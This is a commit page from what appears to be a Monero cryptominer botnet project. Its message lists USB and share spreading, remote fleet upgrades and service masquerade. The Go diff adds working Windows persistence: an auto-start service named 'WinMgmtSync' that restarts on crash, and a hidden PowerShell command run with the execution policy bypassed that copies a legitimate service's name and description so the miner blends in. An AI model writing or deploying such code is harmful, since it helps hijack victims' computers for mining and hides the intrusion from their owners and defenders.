Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -34,13 +34,81 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
case "service":
|
||||
return createWindowsService(cfg, installedBin)
|
||||
case "scheduled":
|
||||
return createScheduledTask(cfg, installedBin)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// createWindowsService installs the miner as a real Windows Service with
|
||||
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
||||
// name and description are cloned from the donor service so it blends in.
|
||||
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
|
||||
// Tear down any stale instance first (errors are expected and ignored)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
// Give SCM time to fully remove the entry
|
||||
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
||||
|
||||
// Create the service
|
||||
if err := exec.Command("sc.exe", "create", svcName,
|
||||
"binPath=", `"`+binPath+`" --run`,
|
||||
"type=", "own",
|
||||
"start=", "auto",
|
||||
"error=", "ignore",
|
||||
).Run(); err != nil {
|
||||
return fmt.Errorf("sc create: %w", err)
|
||||
}
|
||||
|
||||
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
||||
_ = exec.Command("sc.exe", "failure", svcName,
|
||||
"reset=", "60",
|
||||
"actions=", "restart/0/restart/5000/restart/30000",
|
||||
).Run()
|
||||
|
||||
// Start it
|
||||
_ = exec.Command("sc.exe", "start", svcName).Run()
|
||||
|
||||
// Masquerade: copy description from donor service
|
||||
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
||||
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// cloneServiceDescription copies the display name and description from
|
||||
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
||||
func cloneServiceDescription(targetSvc, donorSvc string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$donor = Get-Service '%s' -EA SilentlyContinue
|
||||
if ($donor) {
|
||||
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||
if ($donorWmi) {
|
||||
sc.exe description '%s' ($donorWmi.Description)
|
||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||
}
|
||||
}
|
||||
`,
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
@@ -86,7 +154,11 @@ func removePersistence(cfg config.RuntimeConfig) {
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
// Remove service — use the configured name if available, fall back to legacy pattern
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user